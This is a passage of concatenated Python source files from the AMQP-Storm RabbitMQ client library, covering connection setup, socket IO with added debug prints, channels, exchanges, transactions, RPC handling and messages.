        :raises AMQPConnectionError: Raises if a Connection cannot be
                                     established.
        """
        LOGGER.debug('Connection Opening')
        self.set_state(self.OPENING)
        self._exceptions = []
        self._io.open()
        self._send_handshake()
        self._wait_for_connection_to_open()
        self.heartbeat.start(self._exceptions)
        LOGGER.debug('Connection Opened')

    def write_frame(self, channel_id, frame_out):
        """Marshal and write an outgoing pamqp frame to the Socket.

        :param int channel_id: Channel ID.
        :param pamqp_spec.Frame frame_out: Amqp frame.
        :return:
        """
        frame_data = pamqp_frame.marshal(frame_out, channel_id)
        self.heartbeat.register_write()
        self._io.write_to_socket(frame_data)

    def write_frames(self, channel_id, frames_out):
        """Marshal and write multiple outgoing pamqp frames to the Socket.

        :param int channel_id: Channel ID/
        :param list frames_out: Amqp frames.
        :return:
        """
        data_out = EMPTY_BUFFER
        for single_frame in frames_out:
            data_out += pamqp_frame.marshal(single_frame, channel_id)
        self.heartbeat.register_write()
        self._io.write_to_socket(data_out)

    def _close_channels(self):
        """Close any open channels.

        :return:
        """
        for channel_id in self._channels:
            if not self._channels[channel_id].is_open:
                continue
            self._channels[channel_id].close()

    def _handle_amqp_frame(self, data_in):
        """Unmarshal a single AMQP frame and return the result.

        :param data_in: socket data
        :return: data_in, channel_id, frame
        """
        if not data_in:
            return data_in, None, None
        try:
            byte_count, channel_id, frame_in = pamqp_frame.unmarshal(data_in)
            return data_in[byte_count:], channel_id, frame_in
        except pamqp_exception.UnmarshalingException:
            pass
        except pamqp_spec.AMQPFrameError as why:
            LOGGER.error('AMQPFrameError: %r', why, exc_info=True)
        except ValueError as why:
            LOGGER.error(why, exc_info=True)
            self.exceptions.append(AMQPConnectionError(why))
        return data_in, None, None

    def _read_buffer(self, data_in):
        """Process the socket buffer, and direct the data to the appropriate
        channel.

        :rtype: bytes
        """
        while data_in:
            data_in, channel_id, frame_in = \
                self._handle_amqp_frame(data_in)

            if frame_in is None:
                break

            self.heartbeat.register_read()
            if channel_id == 0:
                self._channel0.on_frame(frame_in)
            else:
                self._channels[channel_id].on_frame(frame_in)

        return data_in

    def _send_handshake(self):
        """Send a RabbitMQ Handshake.

        :return:
        """
        self._io.write_to_socket(pamqp_header.ProtocolHeader().marshal())

    def _validate_parameters(self):
        """Validate Connection Parameters.

        :return:
        """
        if not compatibility.is_string(self.parameters['hostname']):
            raise AMQPInvalidArgument('hostname should be a string')
        elif not compatibility.is_integer(self.parameters['port']):
            raise AMQPInvalidArgument('port should be an integer')
        elif not compatibility.is_string(self.parameters['username']):
            raise AMQPInvalidArgument('username should be a string')
        elif not compatibility.is_string(self.parameters['password']):
            raise AMQPInvalidArgument('password should be a string')
        elif not compatibility.is_string(self.parameters['virtual_host']):
            raise AMQPInvalidArgument('virtual_host should be a string')
        elif not isinstance(self.parameters['timeout'], (int, float)):
            raise AMQPInvalidArgument('timeout should be an integer or float')
        elif not compatibility.is_integer(self.parameters['heartbeat']):
            raise AMQPInvalidArgument('heartbeat should be an integer')

    def _wait_for_connection_to_open(self):
        """Wait for the Connection to fully open.

        :return:
        """
        start_time = time.time()
        timeout = (self.parameters['timeout'] or 10) + 0.25
        while not self.is_open:
            self.check_for_errors()
            if time.time() - start_time > timeout:
                raise AMQPConnectionError('Connection timed out')
            sleep(IDLE_WAIT)






"""AMQP-Storm Base."""

import locale
import threading

AUTH_MECHANISM = 'PLAIN'
IDLE_WAIT = 0.01
FRAME_MAX = 131072
MAX_CHANNELS = 65535
LOCALE = locale.getdefaultlocale()[0] or 'en_US'


class Stateful(object):
    """Stateful"""
    __slots__ = [
        '_exceptions', '_lock', '_state'
    ]
    CLOSED = 0
    CLOSING = 1
    OPENING = 2
    OPEN = 3

    def __init__(self):
        self._lock = threading.Lock()
        self._state = self.CLOSED
        self._exceptions = []

    @property
    def lock(self):
        """Threading lock.

        :return:
        """
        return self._lock

    def set_state(self, state):
        """Set State.

        :param int state:
        :return:
        """
        self._state = state

    @property
    def is_closed(self):
        """Is Closed?

        :rtype: bool
        """
        return self._state == self.CLOSED

    @property
    def is_closing(self):
        """Is Closing?

        :rtype: bool
        """
        return self._state == self.CLOSING

    @property
    def is_opening(self):
        """Is Opening?

        :rtype: bool
        """
        return self._state == self.OPENING

    @property
    def is_open(self):
        """Is Open?

        :rtype: bool
        """
        return self._state == self.OPEN

    @property
    def exceptions(self):
        """Any exceptions thrown. This is useful for troubleshooting, and is
        used internally to check the health of the connection.

        :rtype: list
        """
        return self._exceptions

    def check_for_errors(self):
        """Check for critical errors.

        :return:
        """
        pass


class BaseChannel(Stateful):
    """AMQP BaseChannel"""
    __slots__ = [
        '_channel_id', '_consumer_tags'
    ]

    def __init__(self, channel_id):
        super(BaseChannel, self).__init__()
        self._consumer_tags = []
        self._channel_id = channel_id

    @property
    def channel_id(self):
        """Get Channel id.

        :rtype: int
        """
        return self._channel_id

    @property
    def consumer_tags(self):
        """Get a list of consumer tags.

        :rtype: list
        """
        return self._consumer_tags

    def add_consumer_tag(self, tag):
        """Add a Consumer tag.

        :param str tag: Consumer tag.
        :return:
        """
        if tag not in self._consumer_tags:
            self._consumer_tags.append(tag)

    def remove_consumer_tag(self, tag=None):
        """Remove a Consumer tag.

            If no tag is specified, all all tags will be removed.

        :param str tag: Consumer tag.
        :return:
        """
        if tag:
            if tag in self._consumer_tags:
                self._consumer_tags.remove(tag)
        else:
            self._consumer_tags = []


class BaseMessage(object):
    """AMQP BaseMessage"""
    __slots__ = [
        '_body', '_channel', '_method', '_properties'
    ]

    def __init__(self, channel, **message):
        """
        :param Channel channel: amqp-storm Channel
        :param str|unicode body: Message body
        :param dict method: Message method
        :param dict properties: Message properties
        """
        self._channel = channel
        self._body = message.get('body', None)
        self._method = message.get('method', None)
        self._properties = message.get('properties', {'headers': {}})

    def __iter__(self):
        for attribute in ['_body', '_channel', '_method', '_properties']:
            yield (attribute[1::], getattr(self, attribute))

    def to_dict(self):
        """Message to Dictionary.

        :rtype: dict
        """
        return {
            'body': self._body,
            'method': self._method,
            'properties': self._properties,
            'channel': self._channel
        }

    def to_tuple(self):
        """Message to Tuple.

        :rtype: tuple
        """
        return self._body, self._channel, self._method, self._properties


class Handler(object):
    """Operations Handler (e.g. Queue, Exchange)"""
    __slots__ = [
        '_channel'
    ]

    def __init__(self, channel):
        self._channel = channel






"""AMQP-Storm Channel.Tx."""

import logging

from pamqp import specification as pamqp_spec

from amqpstorm.base import Handler

LOGGER = logging.getLogger(__name__)


class Tx(Handler):
    """AMQP Channel.tx

        Server local transactions, in which the server will buffer published
        messages until the client commits (or rollback) the messages.

    """
    __slots__ = ['_tx_active']

    def __init__(self, channel):
        self._tx_active = True
        super(Tx, self).__init__(channel)

    def __enter__(self):
        self.select()
        return self

    def __exit__(self, exception_type, exception_value, _):
        if exception_type:
            LOGGER.warning('Leaving Transaction on exception: %s',
                           exception_value)
            if self._tx_active:
                self.rollback()
            return
        if self._tx_active:
            self.commit()

    def select(self):
        """Select standard transaction mode.

            Enable Server Local Transactions.

            This will enable transaction mode on the channel. Meaning that
            messages will be kept in the remote server buffer until such a
            time that either commit or rollback is called.

        :return:
        """
        self._tx_active = True
        return self._channel.rpc_request(pamqp_spec.Tx.Select())

    def commit(self):
        """Commit the current transaction.

            Commit all messages published during the current transaction
            session to the remote server.

            A new transaction session starts as soon as the command has
            been executed.

        :return:
        """
        self._tx_active = False
        return self._channel.rpc_request(pamqp_spec.Tx.Commit())

    def rollback(self):
        """Abandon the current transaction.

            Rollback all messages published during the current transaction
            session to the remote server.

            Note that all messages published during this transaction session
            will be lost, and will have to be published again.

            A new transaction session starts as soon as the command has
            been executed.

        :return:
        """
        self._tx_active = False
        return self._channel.rpc_request(pamqp_spec.Tx.Rollback())






"""AMQP-Storm Connection.IO."""

import logging
import traceback
import multiprocessing
import select
import socket
import threading
from errno import EINTR
from errno import EWOULDBLOCK
from time import sleep

from amqpstorm import compatibility
from amqpstorm.base import FRAME_MAX
from amqpstorm.base import IDLE_WAIT
from amqpstorm.compatibility import ssl
from amqpstorm.exception import AMQPConnectionError

EMPTY_BUFFER = bytes()
LOGGER = logging.getLogger(__name__)


class Poller(object):
    """Socket Read/Write Poller."""

    def __init__(self, fileno, exceptions, timeout=30):
        self._fileno = fileno
        self._exceptions = exceptions
        self.timeout = timeout

    @property
    def fileno(self):
        """Socket Fileno.

        :return:
        """
        return self._fileno

    @property
    def is_ready(self):
        """Is Socket Ready.

        :rtype: tuple
        """
        try:
            ready, _, _ = select.select([self.fileno], [], [],
                                        self.timeout)
            return bool(ready)
        except select.error as why:
            if why.args[0] != EINTR:
                self._exceptions.append(AMQPConnectionError(why))
        return False


class IO(object):
    """AMQP Connection.io"""

    def __init__(self, parameters, exceptions=None, on_read=None, name=None):
        self._exceptions = exceptions
        self._lock = threading.Lock()
        self._inbound_thread = None
        self._on_read = on_read
        self._running = multiprocessing.Event()
        self._die = multiprocessing.Value('b', 0)
        self._parameters = parameters
        self.data_in = EMPTY_BUFFER
        self.name = name
        self.poller = None
        self.socket = None
        self.use_ssl = self._parameters['ssl']
        print("IO Object timeout: ", self._parameters)

    def close(self):
        """Close Socket.

        :return:
        """
        self._lock.acquire()
        try:
            print("Running state: %s, thread alive: %s, thread id:%s" %
                    (
                        self._running.is_set(),
                        self._inbound_thread.is_alive() if self._inbound_thread else "None",
                        self._inbound_thread.ident if self._inbound_thread else "None"

                    )
                )
            self._running.clear()
            if self._inbound_thread:
                print("Joining _inbound_thread. Runstate: %s", self._running.is_set())
                self._inbound_thread.join()
            self._inbound_thread = None
            self.poller = None
            if self.socket:
                self.socket.close()
            self.socket = None
        finally:
            self._lock.release()
        print("IO interface for vhost : %s closed." % self.name)

    def kill(self):
        if self._inbound_thread.is_alive():
            self._die.value = 1
            while self._inbound_thread.is_alive():
                self._inbound_thread.join(1)
                print("Worker thread still alive!")

            print("Socket thread has halted")

    def open(self):
        """Open Socket and establish a connection.

        :raises AMQPConnectionError: If a connection cannot be established on
                                     the specified address, raise an exception.
        :return:
        """
        self._lock.acquire()
        try:
            self.data_in = EMPTY_BUFFER
            self._running.set()
            sock_addresses = self._get_socket_addresses()
            self.socket = self._find_address_and_connect(sock_addresses)
            self.poller = Poller(self.socket.fileno(), self._exceptions,
                                 timeout=self._parameters['timeout'])
            self._inbound_thread = self._create_inbound_thread()
        finally:
            self._lock.release()

    def write_to_socket(self, frame_data):
        """Write data to the socket.

        :param str frame_data:
        :return:
        """
        self._lock.acquire()
        try:
            total_bytes_written = 0
            bytes_to_send = len(frame_data)
            while total_bytes_written < bytes_to_send:
                try:
                    if not self.socket:
                        raise socket.error('connection/socket error')
                    bytes_written = \
                        self.socket.send(frame_data[total_bytes_written:])
                    if bytes_written == 0:
                        raise socket.error('connection/socket error')
                    total_bytes_written += bytes_written
                except socket.timeout:
                    pass
                except socket.error as why:
                    if why.args[0] == EWOULDBLOCK:
                        continue
                    self._exceptions.append(AMQPConnectionError(why))
                    return
        finally:
            self._lock.release()

    def _get_socket_addresses(self):
        """Get Socket address information.

        :rtype: list
        """
        family = socket.AF_UNSPEC
        if not socket.has_ipv6:
            family = socket.AF_INET
        try:
            addresses = socket.getaddrinfo(self._parameters['hostname'],
                                           self._parameters['port'], family)
        except socket.gaierror as why:
            raise AMQPConnectionError(why)
        return addresses

    def _find_address_and_connect(self, addresses):
        """Find and connect to the appropriate address.

        :param addresses:

        :raises AMQPConnectionError: If no appropriate address can be found,
                                     raise an exception.

        :rtype: socket.socket
        """
        for address in addresses:
            sock = self._create_socket(socket_family=address[0])
            try:
                sock.connect(address[4])
            except (IOError, OSError):
                continue
            return sock
        raise AMQPConnectionError('Could not connect to %s:%d'
                                  % (self._parameters['hostname'],
                                     self._parameters['port']))

    def _create_socket(self, socket_family):
        """Create Socket.

        :param int socket_family:
        :rtype: socket.socket
        """
        sock = socket.socket(socket_family, socket.SOCK_STREAM, 0)
        if hasattr(socket, 'SOL_TCP'):
            sock.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, 1)
        sock.settimeout(self._parameters['timeout'] or None)
        if self.use_ssl:
            if not compatibility.SSL_SUPPORTED:
                raise AMQPConnectionError('Python not compiled with support '
                                          'for TLSv1 or higher')
            sock = self._ssl_wrap_socket(sock)
        return sock

    def _ssl_wrap_socket(self, sock):
        """Wrap SSLSocket around the Socket.

        :param socket sock:
        :rtype: SSLSocket
        """
        if 'ssl_version' not in self._parameters['ssl_options']:
            self._parameters['ssl_options']['ssl_version'] = \
                compatibility.DEFAULT_SSL_VERSION
        return ssl.wrap_socket(sock, do_handshake_on_connect=True,
                               **self._parameters['ssl_options'])

    def _create_inbound_thread(self):
        """Internal Thread that handles all incoming traffic.

        :rtype: threading.Thread
        """
        inbound_thread = threading.Thread(target=self._process_incoming_data,
                                          name=__name__)
        inbound_thread.daemon = True
        inbound_thread.start()
        return inbound_thread

    def _process_incoming_data(self):
        """Retrieve and process any incoming data.

        :return:
        """
        while self._running.is_set():
            if self.poller.is_ready:
                self.data_in += self._receive()
                self.data_in = self._on_read(self.data_in)
            sleep(IDLE_WAIT)
            # print("_process_incoming_data() looping. _running(): %s, threadid: %s, name: %s" % (
            #         self._running.is_set(),
            #         threading.get_ident(),
            #         self.name
            #         ))
            if self._die.value == 1:
                print('_process_incoming_data saw die flag. Exiting')
                break
        print("_process_incoming_data() Thread named %s, ID: %s exiting. _running state: %s" % (
                        self.name,
                        threading.get_ident(),
                        self._running.is_set()
                    ))

    def _receive(self):
        """Receive any incoming socket data.

            If an error is thrown, handle it and return an empty string.

        :return: data_in
        :rtype: bytes
        """
        data_in = EMPTY_BUFFER
        try:
            data_in = self._read_from_socket()
        except socket.timeout:
            pass
        except (IOError, OSError) as why:
            self._exceptions.append(AMQPConnectionError(why))
            traceback.print_exc()
            print("[_receive (exception)] Clearing self._running")
            self._running.clear()
        return data_in

    def _read_from_socket(self):
        """Read data from the socket.

        :rtype: bytes
        """
        if self.use_ssl:
            data_in = self.socket.read(FRAME_MAX)
        else:
            data_in = self.socket.recv(FRAME_MAX)
        return data_in






"""AMQP-Storm Channel.Exchange."""

import logging

from pamqp.specification import Exchange as pamqp_exchange

from amqpstorm import compatibility
from amqpstorm.base import Handler
from amqpstorm.exception import AMQPInvalidArgument

LOGGER = logging.getLogger(__name__)


class Exchange(Handler):
    """AMQP Channel.exchange"""
    __slots__ = []

    def declare(self, exchange='', exchange_type='direct', passive=False,
                durable=False, auto_delete=False, arguments=None):
        """Declare an Exchange.

        :param str exchange:
        :param str exchange_type:
        :param bool passive:
        :param bool durable:
        :param bool auto_delete:
        :param dict arguments:

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :rtype: dict
        """
        if not compatibility.is_string(exchange):
            raise AMQPInvalidArgument('exchange should be a string')
        elif not compatibility.is_string(exchange_type):
            raise AMQPInvalidArgument('exchange_type should be a string')
        elif not isinstance(passive, bool):
            raise AMQPInvalidArgument('passive should be a boolean')
        elif not isinstance(durable, bool):
            raise AMQPInvalidArgument('durable should be a boolean')
        elif not isinstance(auto_delete, bool):
            raise AMQPInvalidArgument('auto_delete should be a boolean')
        elif arguments is not None and not isinstance(arguments, dict):
            raise AMQPInvalidArgument('arguments should be a dict or None')

        declare_frame = pamqp_exchange.Declare(exchange=exchange,
                                               exchange_type=exchange_type,
                                               passive=passive,
                                               durable=durable,
                                               auto_delete=auto_delete,
                                               arguments=arguments)
        return self._channel.rpc_request(declare_frame)

    def delete(self, exchange='', if_unused=False):
        """Delete an Exchange.

        :param str exchange:
        :param bool if_unused:

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :rtype: dict
        """
        if not compatibility.is_string(exchange):
            raise AMQPInvalidArgument('exchange should be a string')

        delete_frame = pamqp_exchange.Delete(exchange=exchange,
                                             if_unused=if_unused)
        return self._channel.rpc_request(delete_frame)

    def bind(self, destination='', source='', routing_key='',
             arguments=None):
        """Bind an Exchange.

        :param str destination:
        :param str source:
        :param str routing_key:
        :param dict arguments:

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :rtype: dict
        """
        if not compatibility.is_string(destination):
            raise AMQPInvalidArgument('destination should be a string')
        elif not compatibility.is_string(source):
            raise AMQPInvalidArgument('source should be a string')
        elif not compatibility.is_string(routing_key):
            raise AMQPInvalidArgument('routing_key should be a string')
        elif arguments is not None and not isinstance(arguments, dict):
            raise AMQPInvalidArgument('arguments should be a dict or None')

        bind_frame = pamqp_exchange.Bind(destination=destination,
                                         source=source,
                                         routing_key=routing_key,
                                         arguments=arguments)
        return self._channel.rpc_request(bind_frame)

    def unbind(self, destination='', source='', routing_key='',
               arguments=None):
        """Unbind an Exchange.

        :param str destination:
        :param str source:
        :param str routing_key:
        :param dict arguments:

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :rtype: dict
        """
        if not compatibility.is_string(destination):
            raise AMQPInvalidArgument('destination should be a string')
        elif not compatibility.is_string(source):
            raise AMQPInvalidArgument('source should be a string')
        elif not compatibility.is_string(routing_key):
            raise AMQPInvalidArgument('routing_key should be a string')
        elif arguments is not None and not isinstance(arguments, dict):
            raise AMQPInvalidArgument('arguments should be a dict or None')

        unbind_frame = pamqp_exchange.Unbind(destination=destination,
                                             source=source,
                                             routing_key=routing_key,
                                             arguments=arguments)
        return self._channel.rpc_request(unbind_frame)






"""AMQP-Storm Rpc."""

import threading
import time
from uuid import uuid4

from amqpstorm.base import IDLE_WAIT
from amqpstorm.exception import AMQPChannelError


class Rpc(object):
    """AMQP Channel.rpc"""

    def __init__(self, adapter, timeout=360):
        """
        :param Stateful adapter: Connection or Channel.
        :param int|float timeout: Rpc timeout.
        """
        self._lock = threading.Lock()
        self._adapter = adapter
        self._timeout = timeout
        self._response = {}
        self._request = {}

    @property
    def lock(self):
        return self._lock

    def on_frame(self, frame_in):
        """On RPC Frame.

        :param pamqp_spec.Frame frame_in: Amqp frame.
        :return:
        """
        if frame_in.name not in self._request:
            return False

        uuid = self._request[frame_in.name]
        if self._response[uuid]:
            self._response[uuid].append(frame_in)
        else:
            self._response[uuid] = [frame_in]
        return True

    def register_request(self, valid_responses):
        """Register a RPC request.

        :param list valid_responses: List of possible Responses that
                                     we should be waiting for.
        :return:
        """
        uuid = str(uuid4())
        self._response[uuid] = []
        for action in valid_responses:
            self._request[action] = uuid
        return uuid

    def remove(self, uuid):
        """Remove any data related to a specific RPC request.

        :param str uuid: Rpc Identifier.
        :return:
        """
        self.remove_request(uuid)
        self.remove_response(uuid)

    def remove_request(self, uuid):
        """Remove any RPC request(s) using this uuid.

        :param str uuid: Rpc Identifier.
        :return:
        """
        for key in list(self._request):
            if self._request[key] == uuid:
                del self._request[key]

    def remove_response(self, uuid):
        """Remove a RPC Response using this uuid.

        :param str uuid: Rpc Identifier.
        :return:
        """
        if uuid in self._response:
            del self._response[uuid]

    def get_request(self, uuid, raw=False, multiple=False):
        """Get a RPC request.

        :param str uuid: Rpc Identifier
        :param bool raw: If enabled return the frame as is, else return
                         result as a dictionary.
        :param bool multiple: Are we expecting multiple frames.
        :return:
        """
        if uuid not in self._response:
            return
        self._wait_for_request(uuid)
        frame = self._get_response_frame(uuid)
        if not multiple:
            self.remove(uuid)
        result = None
        if raw:
            result = frame
        elif frame is not None:
            result = dict(frame)
        return result

    def _get_response_frame(self, uuid):
        """Get a response frame.

        :param str uuid: Rpc Identifier
        :return:
        """
        frame = None
        frames = self._response.get(uuid, None)
        if frames:
            frame = frames.pop(0)
        return frame

    def _wait_for_request(self, uuid):
        """Wait for RPC request to arrive.

        :param str uuid: Rpc Identifier.
        :return:
        """
        start_time = time.time()
        while not self._response[uuid]:
            self._adapter.check_for_errors()
            if time.time() - start_time > self._timeout:
                self._raise_rpc_timeout_error(uuid)
            time.sleep(IDLE_WAIT)

    def _raise_rpc_timeout_error(self, uuid):
        """Gather information and raise an Rpc exception.

        :param str uuid: Rpc Identifier.
        :return:
        """
        requests = []
        for key, value in self._request.items():
            if value == uuid:
                requests.append(key)
        self.remove(uuid)
        message = ('rpc requests %s (%s) took too long (timeout: %s)'
                   % (uuid, ', '.join(requests), self._timeout))
        raise AMQPChannelError(message)






"""AMQP-Storm Connection.Channel0."""

import logging
import platform

from pamqp import specification as pamqp_spec
from pamqp.heartbeat import Heartbeat
from pamqp.specification import Connection as pamqp_connection

from amqpstorm import __version__
from amqpstorm.base import AUTH_MECHANISM
from amqpstorm.base import FRAME_MAX
from amqpstorm.base import LOCALE
from amqpstorm.base import MAX_CHANNELS
from amqpstorm.base import Stateful
from amqpstorm.compatibility import try_utf8_decode
from amqpstorm.exception import AMQPConnectionError

LOGGER = logging.getLogger(__name__)


class Channel0(object):
    """AMQP Connection.Channel0"""

    def __init__(self, connection):
        super(Channel0, self).__init__()
        self.is_blocked = False
        self.server_properties = {}
        self.parameters = connection.parameters
        self._connection = connection
        self._heartbeat = self.parameters['heartbeat']

    def on_frame(self, frame_in):
        """Handle frames sent to Channel0.

        :param frame_in: Amqp frame.
        :return:
        """
        LOGGER.debug('Frame Received: %s', frame_in.name)
        if frame_in.name == 'Heartbeat':
            return
        elif frame_in.name == 'Connection.Close':
            self._close_connection(frame_in)
        elif frame_in.name == 'Connection.CloseOk':
            self._close_connection_ok()
        elif frame_in.name == 'Connection.Blocked':
            self._blocked_connection(frame_in)
        elif frame_in.name == 'Connection.Unblocked':
            self._unblocked_connection()
        elif frame_in.name == 'Connection.OpenOk':
            self._set_connection_state(Stateful.OPEN)
        elif frame_in.name == 'Connection.Start':
            self.server_properties = frame_in.server_properties
            self._send_start_ok_frame(frame_in)
        elif frame_in.name == 'Connection.Tune':
            self._send_tune_ok_frame()
            self._send_open_connection()
        else:
            LOGGER.error('[Channel0] Unhandled Frame: %s', frame_in.name)

    def send_close_connection_frame(self):
        """Send Connection Close frame.

        :return:
        """
        self._write_frame(pamqp_spec.Connection.Close())

    def send_heartbeat(self):
        """Send Heartbeat frame.

        :return:
        """
        self._write_frame(Heartbeat())

    def _close_connection(self, frame_in):
        """Connection Close.

        :param pamqp_spec.Connection.Close frame_in: Amqp frame.
        :return:
        """
        self._set_connection_state(Stateful.CLOSED)
        if frame_in.reply_code != 200:
            reply_text = try_utf8_decode(frame_in.reply_text)
            message = ('Connection was closed by remote server: %s'
                       % reply_text)
            exception = AMQPConnectionError(message,
                                            reply_code=frame_in.reply_code)
            self._connection.exceptions.append(exception)

    def _close_connection_ok(self):
        """Connection CloseOk frame received.

        :return:
        """
        self._set_connection_state(Stateful.CLOSED)

    def _blocked_connection(self, frame_in):
        """Connection is Blocked.

        :param frame_in:
        :return:
        """
        self.is_blocked = True
        LOGGER.warning('Connection is blocked by remote server: %s',
                       try_utf8_decode(frame_in.reason))

    def _unblocked_connection(self):
        """Connection is Unblocked.

        :return:
        """
        self.is_blocked = False
        LOGGER.info('Connection is no longer blocked by remote server')

    def _plain_credentials(self):
        """AMQP Plain Credentials.

        :rtype: str
        """
        return '\0%s\0%s' % (self.parameters['username'],
                             self.parameters['password'])

    def _send_start_ok_frame(self, frame_in):
        """Send Start OK frame.

        :param pamqp_spec.Connection.StartOk frame_in: Amqp frame.
        :return:
        """
        if 'PLAIN' not in try_utf8_decode(frame_in.mechanisms):
            exception = AMQPConnectionError('Unsupported Security Mechanism(s)'
                                            ': %s' % frame_in.mechanisms)
            self._connection.exceptions.append(exception)
            return
        credentials = self._plain_credentials()
        start_ok_frame = pamqp_connection.StartOk(
            mechanism=AUTH_MECHANISM,
            client_properties=self._client_properties(),
            response=credentials,
            locale=LOCALE)
        self._write_frame(start_ok_frame)

    def _send_tune_ok_frame(self):
        """Send Tune OK frame.

        :return:
        """
        tune_ok_frame = pamqp_connection.TuneOk(channel_max=MAX_CHANNELS,
                                                frame_max=FRAME_MAX,
                                                heartbeat=self._heartbeat)
        self._write_frame(tune_ok_frame)

    def _send_open_connection(self):
        """Send Open Connection frame.

        :return:
        """
        open_frame = pamqp_connection.Open(
            virtual_host=self.parameters['virtual_host']
        )
        self._write_frame(open_frame)

    def _set_connection_state(self, state):
        """Set Connection state.

        :param state:
        :return:
        """
        self._connection.set_state(state)

    def _write_frame(self, frame_out):
        """Write a pamqp frame from Channel0.

        :param frame_out: Amqp frame.
        :return:
        """
        self._connection.write_frame(0, frame_out)
        LOGGER.debug('Frame Sent: %s', frame_out.name)

    @staticmethod
    def _client_properties():
        """AMQPStorm Client Properties.

        :rtype: dict
        """
        return {
            'product': 'AMQP-Storm',
            'platform': 'Python %s (%s)' % (platform.python_version(),
                                            platform.python_implementation()),
            'capabilities': {
                'basic.nack': True,
                'connection.blocked': True,
                'publisher_confirms': True,
                'consumer_cancel_notify': True,
                'authentication_failure_close': True,
            },
            'information': 'See https://github.com/eandersson/amqpstorm',
            'version': __version__
        }






"""AMQP-Storm."""
__version__ = '1.5.0'  # noqa
__author__ = 'eandersson'  # noqa

import logging


class NullHandler(logging.Handler):
    """Logging Null Handler."""

    def emit(self, record):
        pass


logging.getLogger('amqpstorm').addHandler(NullHandler())

from amqpstorm.channel import Channel  # noqa
from amqpstorm.connection import Connection  # noqa
from amqpstorm.uri_connection import UriConnection  # noqa
from amqpstorm.message import Message  # noqa
from amqpstorm.exception import AMQPError  # noqa
from amqpstorm.exception import AMQPChannelError  # noqa
from amqpstorm.exception import AMQPMessageError  # noga
from amqpstorm.exception import AMQPConnectionError  # noqa
from amqpstorm.exception import AMQPInvalidArgument  # noqa






"""AMQP-Storm Message."""

import json
import uuid
from datetime import datetime

from amqpstorm.base import BaseMessage
from amqpstorm.compatibility import try_utf8_decode
from amqpstorm.exception import AMQPMessageError


class Message(BaseMessage):
    """AMQP Message"""
    __slots__ = [
        '_auto_decode', '_decode_cache'
    ]

    def __init__(self, channel, auto_decode=True, **message):
        """
        :param Channel channel: amqp-storm Channel
        :param bool auto_decode: Auto-decode strings when possible. Does not
                                 apply to to_dict, or to_tuple.
        :param str|unicode body: Message body
        :param dict method: Message method
        :param dict properties: Message properties
        """
        super(Message, self).__init__(channel, **message)
        self._decode_cache = dict()
        self._auto_decode = auto_decode

    @staticmethod
    def create(channel, body, properties=None):
        """Create a new Message.

        :param Channel channel: AMQP-Storm Channel
        :param bytes|str|unicode body: Message body
        :param dict properties: Message properties

        :rtype: Message
        """
        properties = properties or {}
        if 'correlation_id' not in properties:
            properties['correlation_id'] = str(uuid.uuid4())
        if 'message_id' not in properties:
            properties['message_id'] = str(uuid.uuid4())
        if 'timestamp' not in properties:
            properties['timestamp'] = datetime.utcnow()

        return Message(channel, auto_decode=False,
                       body=body, properties=properties)

    @property
    def body(self):
        """Return the Message Body.

            If auto_decode is enabled, the body will automatically be
            decoded using decode('utf-8') if possible.

        :rtype: bytes|str|unicode
        """
        if not self._auto_decode:
            return self._body
        if 'body' in self._decode_cache:
            return self._decode_cache['body']
        body = try_utf8_decode(self._body)
        self._decode_cache['body'] = body
        return body

    @property
    def channel(self):
        """Return the Channel used by this message.

        :rtype: Channel
        """
        return self._channel

    @property
    def method(self):
        """Return the Message Method.

            If auto_decode is enabled, the any strings will automatically be
            decoded using decode('utf-8') if possible.

        :rtype: dict
        """
        return self._try_decode_utf8_content(self._method, 'method')

    @property
    def properties(self):
        """Returns the Message Properties.

            If auto_decode is enabled, the any strings will automatically be
            decoded using decode('utf-8') if possible.

        :rtype: dict
        """
        return self._try_decode_utf8_content(self._properties, 'properties')

    def ack(self):
        """Acknowledge Message.

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :return:
        """
        if not self._method:
            raise AMQPMessageError('Message.ack only available on '
                                   'incoming messages')
        self._channel.basic.ack(delivery_tag=self._method['delivery_tag'])

    def nack(self, requeue=True):
        """Negative Acknowledgement.

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :param bool requeue:
        """
        if not self._method:
            raise AMQPMessageError('Message.nack only available on '
                                   'incoming messages')
        self._channel.basic.nack(delivery_tag=self._method['delivery_tag'],
                                 requeue=requeue)

    def reject(self, requeue=True):
        """Reject Message.

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :param bool requeue: Requeue the message
        """
        if not self._method:
            raise AMQPMessageError('Message.reject only available on '
                                   'incoming messages')
        self._channel.basic.reject(delivery_tag=self._method['delivery_tag'],
                                   requeue=requeue)

    def publish(self, routing_key, exchange='', mandatory=False,
                immediate=False):
        """Publish Message.

        :param str routing_key: Message routing key
        :param str exchange: The exchange to publish the message to
        :param dict properties: Message properties
        :param bool mandatory: Requires the message is published
        :param bool immediate: Request immediate delivery

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :rtype: bool|None
        """
        return self._channel.basic.publish(body=self._body,
                                           routing_key=routing_key,
                                           exchange=exchange,
                                           properties=self._properties,
                                           mandatory=mandatory,
                                           immediate=immediate)

    @property
    def app_id(self):
        """Get AMQP Message attribute: app_id.

        :return:
        """
        return self.properties.get('app_id')

    @app_id.setter
    def app_id(self, value):
        """Set AMQP Message attribute: app_id.

        :return:
        """
        self._update_properties('app_id', value)

